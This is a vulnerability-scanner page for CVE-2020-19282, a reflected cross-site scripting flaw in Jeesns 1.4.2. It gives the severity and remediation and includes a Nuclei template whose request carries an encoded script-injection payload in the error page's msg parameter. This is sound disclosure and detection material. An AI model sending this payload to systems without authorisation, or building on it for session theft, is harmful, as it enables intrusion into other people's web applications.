Jeesns 1.4.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Jeesns 1.4.2 is vulnerable to reflected cross-site scripting that allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of Jeesns or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-19282 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-19282

info:
  name: Jeesns 1.4.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jeesns 1.4.2 is vulnerable to reflected cross-site scripting that allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Jeesns or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/zchuanzhao/jeesns/issues/11
    - https://www.seebug.org/vuldb/ssvid-97940
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19282
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19282
    cwe-id: CWE-79
    epss-score: 0.03162
    epss-percentile: 0.88095
    cpe: cpe:2.3:a:jeesns:jeesns:1.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jeesns
    product: jeesns
    fofa-query: title="jeesns"
  tags: cve2020,cve,jeesns,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from